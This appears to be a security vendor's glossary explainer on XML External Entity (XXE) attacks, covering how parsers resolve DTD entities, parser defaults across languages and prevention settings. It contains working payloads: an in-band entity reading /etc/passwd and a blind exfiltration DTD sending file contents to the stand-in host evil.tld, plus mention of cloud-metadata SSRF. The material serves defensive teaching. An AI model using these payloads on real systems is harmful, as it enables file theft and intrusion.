<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<order><sku>&x;</sku></order>x ⟶ open("file:///etc/passwd")<order><sku>root:x:0:0:root:/root:/bin/bash
...</sku></order>Error: unknown SKU "root:x:0:0:..."XML External Entity (XXE) is a vulnerability where an XML parser resolves attacker-controlled external entities, exposing local files or internal services.
Also known as XXE Injection, XML External Entity Attack
XML External Entity (XXE) is a vulnerability where an application's XML parser resolves attacker-controlled external entities declared in a document's DTD, letting the attacker read local files, force the server to reach internal services, or exhaust its resources. XXE exists because many parsers expand entities, including ones that point at files and URLs, by default.
An XXE vulnerability lets an attacker smuggle instructions into XML that the parser acts on. It is an injection flaw: the attacker supplies data, and the parser performs a side effect the application never intended. MITRE catalogues the underlying weakness as CWE-611, “Improper Restriction of XML External Entity Reference.”
The dangerous ingredient is the Document Type Definition (DTD). A DTD can declare entities, named shortcuts the parser substitutes wherever they appear. An internal entity expands to a literal string. An external entity, declared with the SYSTEM keyword, tells the parser to fetch its value from a URI such as file:///etc/passwd or http://169.254.169.254/. A parser that honors external entities turns a document into a fetch instruction.
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<order><sku>&x;</sku></order>When the parser reads &x;, it opens the file and splices the bytes into the document tree. If the application later reflects that field, say in an error message, the file leaks straight back to the attacker.
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<order><sku>&x;</sku></order>x ⟶ open("file:///etc/passwd")<order><sku>root:x:0:0:root:/root:/bin/bash
...</sku></order>Error: unknown SKU "root:x:0:0:..."The figure traces an in-band XXE. The attacker posts an order whose DTD declares the external entity x pointing at file:///etc/passwd. The parser resolves the SYSTEM identifier, opens the file, and replaces &x; with the file contents. The application reflects the SKU field in an error, so the first line of /etc/passwd (root:x:0:0:root:/root:/bin/bash) returns in the response. Nothing about the request looks abnormal at the HTTP layer.
Entities predate the modern web. They were designed so a DTD could define reusable fragments, pull in shared declarations, and validate documents against a schema. XML 1.0 distinguishes general entities, referenced as &name; in content, from parameter entities, referenced as %name; inside the DTD itself. Both can be external.
The trust assumption is that the document author and the parser operator are the same party. That held when XML files were static configuration shipped with an application. It breaks the moment XML arrives from the network: a SOAP request, a SAML assertion, an SVG upload, a DOCX or XLSX file, an RSS feed. The parser cannot tell an author's DTD from an attacker's, so it resolves both.
The second assumption is that resolving a SYSTEM URI is cheap and local. In practice the scheme is attacker-chosen. file:// reads the filesystem. http:// and ftp:// make the server issue outbound requests, which is how XXE becomes server-side request forgery against internal services and cloud metadata endpoints.
We tested the stock parsers on a clean machine to see which resolve a file:// entity with no hardening. The split is stark: Java's default DOM parser read the file; Python's expat-based parsers did not. The same payload, pointed at file:///etc/hostname, produced opposite results.
// Java, default DocumentBuilderFactory, no configuration
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
Document d = f.newDocumentBuilder().parse(xmlWithExternalEntity);
// -> returns "vm" (the contents of /etc/hostname)# Python, default stdlib and lxml
ET.fromstring(xml) # xml.etree -> ParseError (entity not expanded)
etree.fromstring(xml) # lxml -> XMLSyntaxError (external entity blocked)Java's DocumentBuilderFactory resolves external entities unless you turn them off, so the default is unsafe. Python's xml.etree.ElementTree and lxml refused to expand the external entity out of the box. This is why no single rule covers “XML parsing”; safety is a property of the specific parser and its configuration, not of XML.
| Parser (default config) | Resolves file:// entity? | To make it safe |
|---|---|---|
| Java DocumentBuilderFactory / SAXParser | Yes, reads the file | Set disallow-doctype-decl = true |
| Java (Apache Xerces family) | Yes | Reject DOCTYPE, or disable external-general-entities |
| Python xml.etree (expat) | No | Already safe; keep expat updated |
| Python lxml | No for network; blocks by default | resolve_entities=False, no_network=True |
| .NET XmlReader (modern) | No (modern default) | Leave DtdProcessing = Prohibit |
| libxml2 (C, used widely) | Depends on caller flags | Do not set XML_PARSE_NOENT / NONET off |
The verdict: treat every parser as unsafe until you have read its DTD policy. The .NET and Python defaults changed toward safe over time; Java's did not. A codebase that mixes languages inherits the weakest default among them.
File disclosure is the headline, but the attack surface is wider:
file:// entities exfiltrate source code, configuration, private keys, and /etc/passwd when the result is reflected.http:// entities reach internal admin panels and cloud metadata services the attacker cannot route to directly.expect:// wrapper or a vulnerable internal service, but XXE can escalate to remote code execution under the right conditions.When the application returns no output, the attack is not over. Blind, or out-of-band, XXE moves the stolen data over a channel the attacker controls, using a parameter entity to build a URL on the fly.
<!DOCTYPE d [
<!ENTITY % ext SYSTEM "http://evil.tld/x.dtd">
%ext;
]><!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % go "<!ENTITY e SYSTEM
'http://evil.tld/?d=%file;'>">
%go;GET evil.tld/?d=root:x:0:0:root:/root...In blind XXE the server never echoes the entity, so the attacker exfiltrates over the network instead. The payload declares a parameter entity pointing at an attacker-hosted DTD. That DTD reads a local file into %file;, then builds an entity whose SYSTEM URL is http://evil.tld/?d=%file;. When the parser resolves it, the file contents ride out in the query string of a request to the attacker's server. A suppressed response is not a mitigation.
The one defense that covers every variant is to stop parsing DTDs. The OWASP XML External Entity Prevention Cheat Sheet is blunt about it: “Disable document type definitions (DTDs) whenever possible.” If the parser never processes a DOCTYPE, external entities, parameter entities, and billion-laughs expansion all disappear together.
Concretely, by platform:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) and enable FEATURE_SECURE_PROCESSING. If you cannot reject DOCTYPE, disable external-general-entities and external-parameter-entities.defusedxml in place of the standard functions, with forbid_dtd=True where DTDs are not needed.resolve_entities=False, no_network=True, and load_dtd=False.XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit, the modern default.Two traps. First, setExpandEntityReferences(false) is not a fix; OWASP notes it does not stop the parser fetching external resources. Second, failing closed matters: if a security feature cannot be set, stop parsing rather than catching the exception and continuing.
The cost is real. Disabling DTDs breaks documents that legitimately rely on them, including some SOAP, SVG, and office-file workflows. The honest trade is to carve out those specific code paths with a hardened, entity-free parser, not to loosen the global default. Preventing XXE also does not stop every XML denial of service; oversized-but-valid documents still need input size limits.
You can write zero XML parsing code and still ship an XXE sink, because the parser lives in a dependency. A logging library, a document generator, a config loader, or a transitive dependency three levels down may parse XML on your behalf with the unsafe defaults above. That is the supply-chain face of XXE: the vulnerable configuration is inherited, not authored.
The parsers themselves are fragile infrastructure. In June 2025 the sole volunteer maintainer of libxml2, which ships in Apple, Google, and Microsoft operating systems, ended embargoed vulnerability handling, saying triage took “several hours each week” and was unsustainable unpaid. When the library that parses XML across billions of devices has one maintainer dropping coordinated disclosure, downstream XXE exposure becomes a scheduling problem, not just a code problem.
This is where software composition analysis and package behavior analysis help, with a caveat. Socket flags packages by what they actually do: its “Filesystem access” and “Network access” alerts surface a dependency that reads files or makes outbound requests, the same capabilities an XXE payload abuses at runtime. The honest limit is that these alerts detect the capability, not the specific unsafe parser configuration in your code; they narrow where to look, they do not prove a given XML path is safe.
The sharpest way to see XXE is that it is not a bug in XML; it is a default that trusts the document. The entity feature works exactly as specified. The fix is to withdraw that trust at the parser, in every language and every dependency that parses something on your behalf, and to assume a suppressed response is still leaking until you have turned DTDs off.
Manifest confusion is a mismatch between an npm package's registry manifest and the package.json in its tarball, two copies that tools trust inconsistently.
A software bill of materials (SBOM) is a machine-readable inventory of the components, versions, and dependency relationships inside a piece of software.
Software composition analysis (SCA) inventories the third-party code in an application and checks each component for vulnerabilities, licenses, and malware.